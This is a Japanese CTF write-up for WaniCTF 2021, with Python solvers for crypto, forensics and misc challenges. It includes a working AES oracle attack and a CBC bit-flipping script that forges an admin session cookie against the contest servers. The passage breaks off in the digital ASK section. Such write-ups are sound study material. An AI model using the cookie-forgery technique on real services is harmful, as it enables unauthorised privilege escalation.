WaniCTF 2021に参加しました。そのwrite-up記事です。問題等はwani-hackase/wanictf2021-writeupで公開されています。
- コンテスト概要
- 結果
- 環境
- 解けた問題
- [Crypto, Beginner] fox (159pt, 174solved)
- [Crypto, Easy] dango (187pt, 109solved)
- [Crypto, Normal] Sweet curve (232pt, 62solved)
- [Crypto, Hard] AES-NOC (276pt, 39solved)
- [Crypto, Very hard] Flag Service (326pt, 24solved)
- [Forensics, Beginner] propaganda (145pt, 238solved)
- [Forensics, Easy] partition01 (177pt, 126solved)
- [Forensics, Easy] sonic (197pt, 95solved)
- [Forensics, Hard] partition02 (203pt, 87solved)
- [Forensics, Very hard] breakRAID (326pt, 24solved)
- [Misc, Beginner] binary (168pt, 147solved)
- [Misc, Easy] docker_dive (190pt, 104solved)
- [Misc, Normal] digital ASK (240pt, 57solved)
- [Misc, Hard] ASK over the air (367pt, 16solved)
- [Pwn, Beginner] nc (144pt, 241solved)
- [Pwn, Beginner] BOF (153pt, 197solved)
- [Pwn, Easy] got rewriter (170pt, 142solved)
- [Pwn, Easy] rop-machine-returns (179pt, 122solved)
- [Pwn, Normal] baby_heap (250pt, 51solved)
- [Pwn, Hard] rop-machine-final (285pt, 36solved)
- [Reversing, Beginner] ltrace (166pt, 154solved)
- [Reversing, Easy] pwsh (197pt, 95solved)
- [Reversing, Hard] EmoEmotet (264pt, 44solved)
- [Web, Beginner] sourcemap (158pt, 178solved)
- [Web, Easy] POST Challenge (181pt, 119solved)
- [Web, Normal] NoSQL (224pt, 68solved)
- 感想
コンテスト概要
2021/11/05(金) 20:00 +09:00 - 2021/11/07(日) 20:00 +09:00 の開催期間でした。他ルールはInformationページより引用します:
ルール 個人参加形式です。1 人 1 アカウントとなります。 以下の 6 つのカテゴリで出題されます。 Crypto Forensics Misc Pwn Reversing Web それぞれの問題に隠されたフラグを見つけ出してスコアサーバーに提出することで点数を獲得できます。 フラグの形式は各問題で指定がない限りFLAG{[0-9a-zA-Z_-.$@!?]+}です。 問題で配布されるソースコードには偽フラグとしてFAKE{[0-9a-zA-Z_-.$@!?]+}が含まれています。偽フラグを提出しても点数を獲得することはできません。 各問題で獲得できる点数は問題ごとの正答数によって変動します。(正答数が少ない問題ほど獲得できる得点が高くなります) 獲得点数の合計によって順位が決まります。同一得点の場合は先にその点数となった参加者を上位とします。
結果
正の得点を得ている330アカウント中、5564点で11位でした。
環境
基本的にはWindows+WSL2(Ubuntu)で、問題によってはVirtualBox(REMnux7)で取り組みました。
Windows
c:\>ver Microsoft Windows [Version 10.0.19043.1320] c:\>wsl -l -v NAME STATE VERSION * Ubuntu Running 2 c:\>
他ソフト
- IDA(Free版) Version 7.0.19002 Windows x64
- Google Chrome Version 95.0.4638.69 (Official Build) (64-bit)
- TestDisk 7.2-WIP
- Audacity 3.1.0
WSL2(Ubuntu)
$ cat /proc/version Linux version 5.10.60.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Wed Aug 25 23:20:18 UTC 2021 $ cat /etc/os-release NAME="Ubuntu" VERSION="18.04.6 LTS (Bionic Beaver)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 18.04.6 LTS" VERSION_ID="18.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=bionic UBUNTU_CODENAME=bionic $ python3.8 --version Python 3.8.0 $ python3.8 -m pip show pip | grep Version Version: 21.2.4 $ python3.8 -m pip show IPython | grep Version Version: 7.26.0 $ python3.8 -m pip show requests | grep Version Version: 2.26.0 $ python3.8 -m pip show pycryptodome | grep Version Version: 3.10.1 $ python3.8 -m pip show pwntools | grep Version Version: 4.6.0 $ python3.8 -m pip show matplotlib | grep Version Version: 3.4.3 $ gdb --version GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1 Copyright (C) 2018 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word". $ cat ~/peda/README | grep -e 'Version: ' -e 'Release: ' Version: 1.0 Release: special public release, Black Hat USA 2012 $ curl --version curl 7.58.0 (x86_64-pc-linux-gnu) libcurl/7.58.0 OpenSSL/1.1.1 zlib/1.2.11 libidn2/2.0.4 libpsl/0.19.1 (+libidn2/2.0.4) nghttp2/1.30.0 librtmp/2.3 Release-Date: 2018-01-24 Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy PSL $
VirtualBox(REMnux7)
remnux@remnux:~$ cat /proc/version Linux version 4.15.0-118-generic (buildd@lgw01-amd64-039) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #119-Ubuntu SMP Tue Sep 8 12:30:01 UTC 2020 remnux@remnux:~$ cat /etc/os-release NAME="Ubuntu" VERSION="18.04.5 LTS (Bionic Beaver)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 18.04.5 LTS" VERSION_ID="18.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=bionic UBUNTU_CODENAME=bionic remnux@remnux:~$
解けた問題
[Crypto, Beginner] fox (159pt, 174solved)
What does the fox say?🦊
配布ファイルを確認すると、以下のchall.py
とその出力結果output.txt
が含まれていました:
flag = b"FAKE{REDACTED}" def bytes_to_int(B: bytes): X = 0 for b in B: X <<= 8 X += b return X print(bytes_to_int(flag))
19116989514623535769166210117786818367158332986915210065591753844573169066323884981321863605962664727709419615399694310104576887228581060509732286555123028133634836954522269304382229987197
復元する以下のソルバーを書いて実行しました:
#!/usr/bin/env python3.8 c = 19116989514623535769166210117786818367158332986915210065591753844573169066323884981321863605962664727709419615399694310104576887228581060509732286555123028133634836954522269304382229987197 l = [] while c > 0: l.append(chr(c%256)) c //= 256 print("".join(reversed(l)))
$ ./solve.py FLAG{R1ng_d1n9_ding_d1ng_ding3ring3ding?__Wa_p@_pa_p@_pa_p@_pow?__or_konko-n?} $
フラグを入手できました: FLAG{R1ng_d1n9_ding_d1ng_ding3ring3ding?__Wa_p@_pa_p@_pa_p@_pow?__or_konko-n?}
[Crypto, Easy] dango (187pt, 109solved)
🍡
問題文が絵文字1文字であることに困惑しつつ配布ファイルを確認すると、同様にchall.py
とその出力結果output.txt
が含まれていました:
import secrets from functools import reduce flag = b"FAKE{REDACTED}" key = [secrets.token_bytes(len(flag)) for _ in range(3)] def XOR(*X): xor = lambda A, B: bytes(x ^ y for x, y in zip(A, B)) return reduce(xor, X) ciphertext = XOR(flag, key[0]) A = XOR(key[0], key[1], key[2]) B = XOR(key[0], key[1]) C = XOR(key[1], key[2]) print(f"ciphertext : {ciphertext.hex()}") print(f"A : {A.hex()}") print(f"B : {B.hex()}") print(f"C : {C.hex()}")
ciphertext : bd35b1c95ee9436db8fad5c3aa493660e606fa4dd7fe171aac75313c18ce5fcf86f0 A : cae61858ee8c7198632c652fd8416092eb165e2f847f0ebd80637ed0ffd96c6e0359 B : e6ed8bda14f67343d81830f0f2be3299a97b541db48cfa1873a13e8d774f1e243ce7 C : 319fe8d6cb01539bbcb9ef9f13663d8b6274c50b0ce578c94b7910b3ca785ccea8d4
XORでkeyを復元してフラグを得る以下のソルバーを書いて実行しました:
#!/usr/bin/env python3.8 import pwn ciphertext = bytes.fromhex("bd35b1c95ee9436db8fad5c3aa493660e606fa4dd7fe171aac75313c18ce5fcf86f0") A = bytes.fromhex("cae61858ee8c7198632c652fd8416092eb165e2f847f0ebd80637ed0ffd96c6e0359") B = bytes.fromhex("e6ed8bda14f67343d81830f0f2be3299a97b541db48cfa1873a13e8d774f1e243ce7") C = bytes.fromhex("319fe8d6cb01539bbcb9ef9f13663d8b6274c50b0ce578c94b7910b3ca785ccea8d4") key2 = pwn.xor(A, B) key1 = pwn.xor(C, key2) key0 = pwn.xor(B, key1) print(pwn.xor(key0, ciphertext).decode())
$ ./solve.py FLAG{dango_sankyodai_dango__-ooo-} $
だんご3兄弟のフラグを入手できました: FLAG{dango_sankyodai_dango__-ooo-}
[Crypto, Normal] Sweet curve (232pt, 62solved)
🥠🍩🍪
またもや問題文が絵文字だけであることに困惑しつつ配布ファイルを確認すると、以下のparameters.txt
が含まれていました:
# Given: # - An elliptic curve: y**2 = x**3 - x + 1 (mod p) # - Two points: P(x_P, y_P) and Q(x_Q, y_Q) # Find the point P+Q # The flag is the x value of P+Q # Don't forget to convert it into a string! p = 0x89a4e2c7f834f5fbc6f2a314e373e3723de7df6283c5d97cbca509c61e02965b7ef96efce1d827bfdfa7f21d22803558bb549f9ea15dfe9f47d3976648c55feb x_P = 0x1e1cba0e07c61cf88e9f23b9859093c33c26cf83bcfb6fe24d7559cd0ea86fb2f144ae643ac5edf6f04ef065dc7c2c18d88ae02843592d5e611029fefc0fece y_P = 0x198420b30a4330f82380326895d0ac06a1859bc49d45cd4b08021b857d23d515163b9151fbaf7ae5f816d485d129d3b1c4630d1fb45c6790af551428a5c85667 x_Q = 0x7e32edfd7befd8df93d7b738d6a1c95e1cfd56b3a6ccc4a62e4e0ae9059b4903e71fccbe07d8d45c762b4a3ed5c9d1a2505043d033e58adb72191259b81bc47d y_Q = 0x46016c676585feaf048fff9d5cbb45dbd598c6c4c81694e0881bf110b57012f0bac6eaf7376fee015c8cecba1fc92206ca346f7d72ee1d60f820091c85fa76b3
楕円曲線上の2点の足し算結果を求める問題のようです(コメント箇所は問題文に書いてもよいのでは……?)。最終的に以下のソルバーを書いて実行しました:
#!/usr/bin/env python3.8 p = 0x89a4e2c7f834f5fbc6f2a314e373e3723de7df6283c5d97cbca509c61e02965b7ef96efce1d827bfdfa7f21d22803558bb549f9ea15dfe9f47d3976648c55feb x_P = 0x1e1cba0e07c61cf88e9f23b9859093c33c26cf83bcfb6fe24d7559cd0ea86fb2f144ae643ac5edf6f04ef065dc7c2c18d88ae02843592d5e611029fefc0fece y_P = 0x198420b30a4330f82380326895d0ac06a1859bc49d45cd4b08021b857d23d515163b9151fbaf7ae5f816d485d129d3b1c4630d1fb45c6790af551428a5c85667 x_Q = 0x7e32edfd7befd8df93d7b738d6a1c95e1cfd56b3a6ccc4a62e4e0ae9059b4903e71fccbe07d8d45c762b4a3ed5c9d1a2505043d033e58adb72191259b81bc47d y_Q = 0x46016c676585feaf048fff9d5cbb45dbd598c6c4c81694e0881bf110b57012f0bac6eaf7376fee015c8cecba1fc92206ca346f7d72ee1d60f820091c85fa76b3 # https://en.wikipedia.org/wiki/Elliptic_curve_point_multiplication#Point_addition l = (y_Q - y_P) * pow(x_Q - x_P, -1, p) x_R = (l*l - x_P - x_Q) % p y_R = (l * (x_P - x_R) - y_P) % p assert (y_R**2) % p == (x_R ** 3 - x_R + 1) % p print(bytes.fromhex(hex(x_R)[2:]).decode())
$ ./solve.py FLAG{7h1s_curv3_alw@ys_r3m1nd5_me_0f_pucca} $
フラグを入手できました: FLAG{7h1s_curv3_alw@ys_r3m1nd5_me_0f_pucca}
(最初のうちはDon't forget to convert it into a string!
の言っている意味が分からず悩んでいました。足し算結果のX座標を16進数表記出力するとASCII範囲と分かるので16進数デコードすればいい、と気づくまでしばらくかかりました。)
[Crypto, Hard] AES-NOC (276pt, 39solved)
AES-CBCか...って、あれ? nc aesnoc.crypto.wanictf.org 50000
配布ファイルを確認すると、以下のchall.py
が含まれていました:
import os from Crypto.Cipher import AES from Crypto.Util.Padding import pad from Crypto.Util.strxor import strxor from secret import flag class AESNOC: def __init__(self, key: bytes, iv: bytes): self.iv = iv self.key = key self.block_size = AES.block_size def encrypt(self, plaintext: bytes): cipher = AES.new(self.key, AES.MODE_ECB) plaintext = pad(plaintext, self.block_size) P = [ plaintext[i : i + self.block_size] for i in range(0, len(plaintext), self.block_size) ] C = [] P_prev = self.iv for p in P: c = cipher.encrypt(p) C.append(strxor(c, P_prev)) P_prev = p return b"".join(C) def main(): key = os.urandom(16) iv = os.urandom(16) cipher = AESNOC(key, iv) assert len(flag) == 49 assert flag.startswith(b"FLAG{") assert flag.endswith(b"}") iv = iv.hex() print(f"{iv = }") while True: print("1. Get encrypted flag") print("2. Encrypt") choice = int(input("> ")) if choice == 1: encrypted_flag = cipher.encrypt(flag).hex() print(f"{encrypted_flag = }") elif choice == 2: plaintext = input("Plaintext [hex] > ") plaintext = bytes.fromhex(plaintext) ciphertext = cipher.encrypt(plaintext).hex() print(f"{ciphertext = }") else: print("Bye") break if __name__ == "__main__": main()
つまり、nc接続先サーバーは以下の2つの機能を提供してくれます:
- 暗号化フラグ内容
- 指定平文を暗号化した内容
コードを見ながら考えていると、以下の2点に気づきました:
NOC
と呼んでいる暗号化処理は、パディング後にCBCモードの復号を行う処理です- AESは1ブロック16バイトかつフラグが49バイトであるためで、最後のブロックの平文は「フラグ最後の'}'に15バイトのパディングをしたブロック」と分かります
つまり、「0x00だけのブロック」の次に「既知である平文のブロック」を繋いだ平文をサーバーに暗号化してもらうと、「既知である平文のブロック」の暗号化結果そのものが分かります。後は暗号化フラグの後ろのブロックからXORを取ることで、平文フラグのブロックが後ろから判明します。
CBCモード復号の図を見ながら、以下のソルバーを書いて実行しました:
#!/usr/bin/env python3.8 import pwn import re from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad def extract_hex_bytes(prefix, line): search_result = re.search(f"{prefix}'([0-9a-f]*)'", line) assert search_result return bytes.fromhex(search_result.group(1)) def get_encrypted_flag(tube): tube.sendlineafter(b"> ", b"1") line = tube.recvlineS() return extract_hex_bytes("encrypted_flag = ", line) def encrypt(tube, block): assert len(block) == AES.block_size tube.sendlineafter(b"> ", b"2") tube.sendlineafter(b"Plaintext [hex] > ", b"00"*16 + block.hex().encode()) line = tube.recvlineS() encrypted = extract_hex_bytes("ciphertext = ", line) return encrypted[AES.block_size : 2*AES.block_size] def solve(tube): encrypted_flag = get_encrypted_flag(tube) print(f"{encrypted_flag = }") last_plain_block = pad(b"}", AES.block_size) flag = last_plain_block for block_index in range(3, 0, -1): encrypted_block = encrypt(tube, last_plain_block) plain_block = pwn.xor( encrypted_block, encrypted_flag[block_index*AES.block_size : (block_index+1)*AES.block_size]) last_plain_block = plain_block flag = plain_block + flag print(unpad(flag, AES.block_size).decode()) with pwn.remote("aesnoc.crypto.wanictf.org", 50000) as tube: solve(tube)
$ ./solve.py [+] Opening connection to aesnoc.crypto.wanictf.org on port 50000: Done encrypted_flag = b"I\x86\xb2\x05\x19\xab\xe8\xb8w\x8b>\xdc\x1c\x97\xd9\xbc\t\x04\xa0[?\x85\xa0\xf7\x85\x99\xf2\xd5%a4D\xe2g\xf6SI\xa0\x8d\xa1\xb1\xe8'\xacyF\xc9\x82B\xd3/\xef\x8cr\xf3\x1f\xea\xc0\xe1\x03\x11\x94\xf5[" FLAG{Wh47_h4pp3n$_1f_y0u_kn0w_the_la5t_bl0ck___?} [*] Closed connection to aesnoc.crypto.wanictf.org port 50000 $
フラグを入手できました: FLAG{Wh47_h4pp3n$_1f_y0u_kn0w_the_la5t_bl0ck___?}
とても面白い問題だと思いました。なお、取り組み初期に「0x00だけのブロック2つを平文として暗号化してもらってXORするとivが分かる!」と気付いて内心盛り上がっていましたが、そもそも実行初期に与えられることが分かってずっこけてました。そして結局全く使いませんでしたね……。
[Crypto, Very hard] Flag Service (326pt, 24solved)
🚩🤵 https://service.crypto.wanictf.org
またもや問題文が実質的に絵文字だけであることに困惑しながら配布ファイルを確認すると、Webサービス用のファイルが含まれていました。その中に以下のapp.py
とcipher.py
が含まれていました:
from cipher import AESCBC from flask import Flask, redirect, render_template, request from secret import flag app = Flask(__name__) cipher = AESCBC() @app.route("/") def index(): try: token = request.cookies.get("token") session = cipher.decrypt(token) return render_template("index.html", session=session, flag=flag) except Exception: pass return render_template("index.html") @app.route("/login", methods=["POST"]) def login(): username = request.form.get("username") session = {"admin": False, "username": username} token = cipher.encrypt(session) response = redirect("/") response.set_cookie("token", token) return response @app.route("/logout", methods=["POST"]) def logout(): response = redirect("/") response.set_cookie("token", expires=0) return response if __name__ == "__main__": app.run()
import base64 import json import os from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad class AESCBC: def __init__(self): self.key = os.urandom(16) def encrypt(self, data: str): cipher = AES.new(self.key, AES.MODE_CBC) iv = cipher.iv data = json.dumps(data) ciphertext = cipher.encrypt(pad(data.encode(), AES.block_size)) token = base64.b64encode(iv + ciphertext) return token def decrypt(self, token: bytes): token = base64.b64decode(token) iv, ciphertext = token[: AES.block_size], token[AES.block_size :] cipher = AES.new(self.key, AES.MODE_CBC, iv) plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size) data = json.loads(plaintext) return data
Webページを試しに触ったり、上のコードを読んでみたりすると、以下のことが分かりました:
- ログイン時には
admin
値がFalse
であるトークンが作られる admin
値がTrue
であるトークンを偽装すればフラグが手に入る- トークンをAES-CBCで暗号化したものをクッキーでやり取りする
前の問題と同様にCBCモードの復号処理の図を見ていると、ivの特定ビットの0/1を反転させれば最初のブロックの対応するビットも反転することに気づきます。そういうわけで以下のソルバーを書いて実行しました:
#!/usr/bin/env python3.8 import requests import base64 from Crypto.Util.strxor import strxor BASE_URI = "https://service.crypto.wanictf.org" def get_nonadmin_token_bytes(session): session.post(f"{BASE_URI}/login", data={"username": "test"}) return base64.b64decode(session.cookies.get("token")) def login_as_admin(session, token_bytes): prefix = '{"admin": ' xor_key = strxor(b"false", b"true ") new_token_bytes = bytearray(token_bytes) for (i, b) in enumerate(xor_key): new_token_bytes[len(prefix)+i] ^= b encoded_token = base64.b64encode(new_token_bytes).decode() session.cookies.set("token", encoded_token, domain="service.crypto.wanictf.org", path="/") r = session.get(BASE_URI) print(r.text) with requests.Session() as session: token_bytes = get_nonadmin_token_bytes(session) login_as_admin(session, token_bytes)
$ ./solve.py <!doctype html> <html lang="en"> <head> <title>Flag Service</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css" integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous"> </head> <body> <div class="container"> <h1 class="display-4">Welcome to Flag Service</h1> <p class="lead"> Hi! Welcome to Flag Service. You must be an admin to enjoy our "special" service. </p> <p class="lead"> Welcome, test. Here is special service!! <kbd>FLAG{Fl1p_Flip_Fl1p_Flip_Fl1p____voila!!}</kbd>. </p> <form method="post" action="/logout"> <button type="submit" class="btn btn-primary mb-2">Logout</button> </form> </div> </body> </html> $
フラグを入手できました: <kbd>FLAG{Fl1p_Flip_Fl1p_Flip_Fl1p____voila!!}
最初はクッキーの設定を、session.cookies.set
による状態設定ではなくsession.get
の引数で与えるように書いていましたが、それだと失敗しました。session
を使う場合は状態管理をしっかりしたほうが良さそう……?
[Forensics, Beginner] propaganda (145pt, 238solved)
超人気ゲームをみんなでプレイしよう!
配布ファイルを確認すると16秒のmp4ファイルでした。再生してみると、FPSゲーム(?)のプレイ動画がメインで、何度か一瞬だけフラグが表示される内容でした。動画再生ソフトのコマ送り機能を使ってフラグを確認しました:
フラグを入手できました: FLAG{Stand_tall_We_are_Valorant_We_are_fighters!}
[Forensics, Easy] partition01 (177pt, 126solved)
新しくUSBを買ったのでたくさんパーティションを作ってみました!
配布ファイルを確認すると、partition.img
がありました。とりあえずtestdiskで解析してみると、パーティション名の1つにフラグが書かれていました:
フラグを入手できました: FLAG{GPT03}
[Forensics, Easy] sonic (197pt, 95solved)
妖怪からのメッセージです. 音量注意!
配布ファイルを確認すると、flag.wav
が含まれていました。
悩んだ問題の1つです。WaniCTF'21-springで出題されたslow問題はsstv(Slow Scan TV)という方式で復号する問題だったので、今回もsonicと付くようなエンコード手法が使われているのかなと思ってググっていましたが全くヒットしませんでした。
しばらく悩んだ後、何となくスペクトログラムを表示してみるとそこにフラグがありました、びっくりです:
フラグを入手できました: FLAG{Messages_du_spectre}
[Forensics, Hard] partition02 (203pt, 87solved)
FLAG01とFLAG02にflag画像を分割して入れておきました. 添付のファイルは"partition01"と同じものです.
partition01問題同様にtestdiskを使ってパーティションを見ていると、FLAG01パーティションとFLAG02パーティションの中にflag画像がありました。後はそれをcatコマンドで結合しました(concatenate目的でcatを使う珍しいパターン!):
$ cat flag01.png flag02.png > flag-parition2.png
画像を表示するとフラグが書かれていました:
フラグを入手できました: FLAG{you_found_flag_in_FLAGs}
[Forensics, Very hard] breakRAID (326pt, 24solved)
HDDが1台壊れてしまったみたいです.
配布ファイルを確認すると、ディスク用らしいファイルが3個含まれていました:
$ tar -zxvf breakRAID.tar.gz disks/ disks/disk01 disks/disk02 disks/disk00 $ file disks/* disks/disk00: data disks/disk01: Linux Software RAID version 1.2 (1) UUID=2dfa6967:99457c4e:cce8f079:7a80f14d name=ishioka:0 level=5 disks=3 disks/disk02: Linux Software RAID version 1.2 (1) UUID=2dfa6967:99457c4e:cce8f079:7a80f14d name=ishioka:0 level=5 disks=3 $
disk00
ファイルの中身は全部0x00のようでした。それが壊れたHDDなのでしょう。
fileコマンドの出力でググっていると、mdadmでソフトRAIDを構築してみる(RAID 5編):ぴろにっき:SSブログが見つかりました。その記事によると、level=5
箇所がRAID5の意味で、disks=3
箇所がディスク3台でRAIDを構成するとの意味みたいです。また、mdadmコマンドについても紹介されていました。
ファイルをもとにRAIDを構成する方法を調べると、mount - Create RAID array of image files - Ask Ubuntuを見つけました。losetupコマンドを使うようです。
これらの情報をもとにRAIDを構成してみることにしました。WSLではそのあたりが上手くいくか不安だったので、VirtualBoxのREMnuxを使いました。以下、試行錯誤した実行履歴です:
remnux@remnux:~/work$ losetup --version losetup from util-linux 2.31.1 remnux@remnux:~/work$ mdadm --version mdadm - v4.1-rc1 - 2018-03-22 remnux@remnux:~/work$ sudo losetup /dev/loop1 disk01 remnux@remnux:~/work$ sudo losetup /dev/loop2 disk02 remnux@remnux:~/work$ sudo mdadm --assemble /dev/md0 /dev/loop1 /dev/loop2 mdadm: /dev/loop1 is busy - skipping mdadm: /dev/loop2 is busy - skipping remnux@remnux:~/work$ sudo mdadm -Es ARRAY /dev/md/0 metadata=1.2 UUID=2dfa6967:99457c4e:cce8f079:7a80f14d name=ishioka:0 remnux@remnux:~/work$ sudo mdadm --detail /dev/md/0 mdadm: cannot open /dev/md/0: No such file or directory remnux@remnux:~/work$ ls -AlF /dev/md/ishioka\:0 lrwxrwxrwx 1 root root 8 11月 6 03:19 /dev/md/ishioka:0 -> ../md127 remnux@remnux:~/work$ ls -AlF /dev/md127 brw-rw---- 1 root disk 9, 127 11月 6 03:19 /dev/md127 remnux@remnux:~/work$ sudo mdadm --detail /dev/md127 /dev/md127: Version : 1.2 Creation Time : Thu Oct 21 01:14:50 2021 Raid Level : raid5 Array Size : 195584 (191.00 MiB 200.28 MB) Used Dev Size : 97792 (95.50 MiB 100.14 MB) Raid Devices : 3 Total Devices : 2 Persistence : Superblock is persistent Update Time : Fri Oct 22 00:36:48 2021 State : clean, degraded Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Layout : left-symmetric Chunk Size : 512K Consistency Policy : resync Name : ishioka:0 UUID : 2dfa6967:99457c4e:cce8f079:7a80f14d Events : 54 Number Major Minor RaidDevice State - 0 0 0 removed 1 7 1 1 active sync /dev/loop1 3 7 2 2 active sync /dev/loop2 remnux@remnux:~/work$ sudo mount /dev/md127 /mnt remnux@remnux:~/work$ ls /mnt 01.png 03.png 05.png 07.png 09.png 11.png 13.png 15.png 17.png lost+found 02.png 04.png 06.png 08.png 10.png 12.png 14.png 16.png 18.png remnux@remnux:~/work$
18個の画像それぞれに、フラグが1文字1文字描かれていました:
フラグを入手できました: FLAG{ra1dr4idxxxx}
余談ですが、どうやらmdadmパッケージをインストール済みの状態ではlosetupするだけで自動的にmdadm --assemble
相当のことが行われるようです。losetup→mdadmパッケージインストール、という手順ではmdadm --assemble
を自分で実行する必要がありました。
[Misc, Beginner] binary (168pt, 147solved)
無線通信問題1問目です。 文字も所詮1と0の集合です。 sample.pyを参考に復号器を作ってみてください。 binary.csvは1列目が時刻、2列目がON-OFFの信号を表しています。 ASK、ASK over the airと進む中で無線通信の面白さが伝われば...と思っています。 「binary」はWaniCTF 2021-springとほぼ同じ問題なのでハードルが高いと感じる人は、「WaniCTF 2021-spring binary writeup」でぐぐりつつ解いてみてください。
配布ファイルを確認すると、以下のようなbinary.csv
が含まれていました:
time,signal 0.000000 ,0 0.000004 ,1 0.000008 ,0 0.000012 ,0 0.000016 ,0 0.000020 ,1 0.000024 ,1 0.000028 ,0 (以下省略)
同じく配布ファイルに含まれているsample.py
を確認すると、各バイトをMSBから順に処理するものでした。それを参考に以下のソルバーを書いて実行しました
#!/usr/bin/env python3.8 bits = [] with open("binary.csv") as f: for line in f: if line.startswith("time,signal"): continue bits.append(int(line.split(",")[1])) tmp = 0 for (i, bit) in enumerate(bits): tmp = (tmp << 1) | bit if i % 8 == 7: print(chr(tmp), end="") tmp = 0 print()
$ ./solve.py FLAG{binary-is-essential-for-communication} $
フラグを入手できました: FLAG{binary-is-essential-for-communication}
[Misc, Easy] docker_dive (190pt, 104solved)
Dockerの中に入ってsolverを実行してください。 Install Docker ! 与えられたDockerfileでDockerをbuildしてください dockerのなかに/bin/shを実行して入ってください /bin/bashでエラーがでる場合は/bin/shです。 solverを実行してください Dockerは個人の環境に関係なく同じ環境を構築するために使われます。 一部のpwn問題は問題サーバー構築に使ったDockerfileを一緒に提供しています。 ローカルで動いてリモートで動かない場合はDockerを使って確認しましょう!
WSL2ではdockerが使えると聞いていたので、最初はWSL2上で解こうとしました。しかしdocker関係のパッケージをインストールしてもエラーが起こる状況でした:
$ sudo docker images Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running? $
よく分からなかったので、この問題もVirtualBoxのREMnuxを使いました。dockerのimagesとcontainerの違いなどをググったり、docker build
時にDockerfileのあるディレクトリではなくて間違えてDockerfileそのものを指定しまったり、オプションが不足していて実行しても何も表示されなかったりしながら、試行錯誤していました。最終的に、次のようにするとうまくいきました:
remnux@remnux:~/work/mis-docker$ docker --version Docker version 19.03.13, build 4484c46d9d remnux@remnux:~/work/mis-docker$ ls Dockerfile solver remnux@remnux:~/work/mis-docker$ docker build --tag ctf:1.0 ./ Sending build context to Docker daemon 17.41kB Step 1/6 : FROM alpine:3.14 ---> 14119a10abf4 Step 2/6 : WORKDIR /home/misc ---> Running in 8ccf082bd05e Removing intermediate container 8ccf082bd05e ---> 88744ba09c5f Step 3/6 : ADD ./solver /home/misc/solver ---> f77e14f69d22 Step 4/6 : RUN chmod 550 /home/misc/solver ---> Running in 2578a517de79 Removing intermediate container 2578a517de79 ---> 731c7aeb7402 Step 5/6 : RUN apk add libc6-compat ---> Running in b56615aa14cc fetch https://dl-cdn.alpinelinux.org/alpine/v3.14/main/x86_64/APKINDEX.tar.gz fetch https://dl-cdn.alpinelinux.org/alpine/v3.14/community/x86_64/APKINDEX.tar.gz (1/1) Installing libc6-compat (1.2.2-r3) OK: 6 MiB in 15 packages Removing intermediate container b56615aa14cc ---> f15e10cdf450 Step 6/6 : RUN ls /home/misc -lh ---> Running in 5ced6ee2c7f5 total 16K -r-xr-x--- 1 root root 14.1K Nov 6 07:43 solver Removing intermediate container 5ced6ee2c7f5 ---> 7c16767cb921 Successfully built 7c16767cb921 Successfully tagged ctf:1.0 remnux@remnux:~/work/mis-docker$ docker run --interactive --tty ctf:1.0 /home/misc # ls solver /home/misc # whoami root /home/misc # ./solver musl libc (x86_64) Version 1.2.2 Dynamic Program Loader Usage: /lib/ld-musl-x86_64.so.1 [options] [--] pathname FLAG{y0u_Kn0W_H0w_to_Get_1nto_7he_DockeR}/home/misc # exit remnux@remnux:~/work/mis-docker$
なんとかフラグを入手できました: FLAG{y0u_Kn0W_H0w_to_Get_1nto_7he_DockeR}
[Misc, Normal] digital ASK (240pt, 57solved)
無線通信問題2問目です。 WaniCTF 2021-springとほぼ同じ問題です。 この後の「ASK over the air」に関わるので以下の情報を意識して解いてみて下さい。 無線通信のフレームフォーマット preambleは10を16回繰り返した0xAAAAAAAA start frame delimiter (SFD)は0xE5 実務では↑の情報もブラインドで解析することが多いです。
配布ファイルを確認すると、以下のようなdigital_ask.csv
が含まれていました:
time,signal 0.000000 ,0 0.000004 ,0 0.000008 ,0 0.000012 ,0 (以下省略)
WaniCTF 2021-springのask問題では同一ビットが複数行に渡って記録されていたので今回もそうなんだろうと見てみると、今回はどうやら1ビットが16行分連続しているようでした。そういうわけで以下のソルバーを書いて実行しました:
